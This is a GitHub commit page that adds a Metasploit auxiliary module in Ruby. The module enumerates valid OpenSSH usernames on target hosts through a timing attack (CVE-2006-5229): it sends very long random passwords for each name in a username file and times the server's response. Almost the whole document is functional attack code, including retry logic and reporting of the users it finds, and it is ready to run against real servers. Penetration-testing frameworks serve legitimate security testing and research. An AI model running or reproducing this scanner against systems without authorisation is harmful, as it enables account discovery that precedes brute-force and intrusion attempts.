Skip to content

Commit 6d7fde4

Browse files
committed
Land rapid7#3157, OpenSSH user enumeration timing attack
2 parents 39a7a04 + 1a2899d commit 6d7fde4

File tree

1 file changed

+156
-0
lines changed

1 file changed

+156
-0
lines changed
Lines changed: 156 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,156 @@
1+
##
2+
# This module requires Metasploit: http//metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
require 'net/ssh'
8+
9+
class Metasploit3 < Msf::Auxiliary
10+
11+
include Msf::Auxiliary::Scanner
12+
include Msf::Auxiliary::Report
13+
include Msf::Auxiliary::CommandShell
14+
15+
def initialize(info = {})
16+
super(update_info(info
17+
'Name' => 'SSH Username Enumeration',
18+
'Description' => %q{
19+
This module uses a time-based attack to enumerate users in a OpenSSH server.
20+
},
21+
'Author' => ['kenkeiras'],
22+
'References' =>
23+
[
24+
['CVE', '2006-5229']
25+
],
26+
'License' => MSF_LICENSE
27+
))
28+
29+
register_options(
30+
[
31+
Opt::RPORT(22),
32+
OptPath.new('USER_FILE',
33+
[true, 'File containing usernames, one per line', nil]),
34+
OptInt.new('THRESHOLD',
35+
[true,
36+
'Amount of seconds needed before a user is considered ' \
37+
'found', 10])
38+
], self.class
39+
)
40+
41+
register_advanced_options(
42+
[
43+
OptInt.new('RETRY_NUM',
44+
[true , 'The number of attempts to connect to a SSH server' \
45+
' for each user', 3]),
46+
OptInt.new('SSH_TIMEOUT',
47+
[false, 'Specify the maximum time to negotiate a SSH session',
48+
10]),
49+
OptBool.new('SSH_DEBUG',
50+
[false, 'Enable SSH debugging output (Extreme verbosity!)',
51+
false])
52+
]
53+
)
54+
end
55+
56+
def rport
57+
datastore['RPORT']
58+
end
59+
60+
def retry_num
61+
datastore['RETRY_NUM']
62+
end
63+
64+
def threshold
65+
datastore['THRESHOLD']
66+
end
67+
68+
def check_user(ip, user, port)
69+
pass = Rex::Text.rand_text_alphanumeric(64_000)
70+
71+
opt_hash = {
72+
:auth_methods => ['password', 'keyboard-interactive'],
73+
:msframework => framework,
74+
:msfmodule => self,
75+
:port => port,
76+
:disable_agent => true,
77+
:password => pass,
78+
:config => false,
79+
:proxies => datastore['Proxies']
80+
}
81+
82+
opt_hash.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
83+
84+
start_time = Time.new
85+
86+
begin
87+
::Timeout.timeout(datastore['SSH_TIMEOUT']) do
88+
Net::SSH.start(ip, user, opt_hash)
89+
end
90+
rescue Rex::ConnectionError, Rex::AddressInUse
91+
return :connection_error
92+
rescue Net::SSH::Disconnect, ::EOFError
93+
return :success
94+
rescue ::Timeout::Error
95+
return :success
96+
rescue Net::SSH::Exception
97+
end
98+
99+
finish_time = Time.new
100+
101+
if finish_time - start_time > threshold
102+
:success
103+
else
104+
:fail
105+
end
106+
end
107+
108+
def do_report(ip, user, port)
109+
report_auth_info(
110+
:host => ip,
111+
:port => rport,
112+
:sname => 'ssh',
113+
:user => user,
114+
:active => true
115+
)
116+
end
117+
118+
def user_list
119+
File.new(datastore['USER_FILE']).read.split
120+
end
121+
122+
def attempt_user(user, ip)
123+
attempt_num = 0
124+
ret = nil
125+
126+
while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
127+
if attempt_num > 0
128+
Rex.sleep(2 ** attempt_num)
129+
print_debug "Retrying '#{user}' on '#{ip}' due to connection error"
130+
end
131+
132+
ret = check_user(ip, user, rport)
133+
attempt_num += 1
134+
end
135+
136+
ret
137+
end
138+
139+
def show_result(attempt_result, user, ip)
140+
case attempt_result
141+
when :success
142+
print_good "User '#{user}' found on #{ip}"
143+
do_report(ip, user, rport)
144+
when :connection_error
145+
print_error "User '#{user}' on #{ip} could not connect"
146+
when :fail
147+
print_debug "User '#{user}' not found on #{ip}"
148+
end
149+
end
150+
151+
def run_host(ip)
152+
print_status "Starting scan on #{ip}"
153+
user_list.each{ |user| show_result(attempt_user(user, ip), user, ip) }
154+
end
155+
156+
end

0 commit comments

Comments
 (0)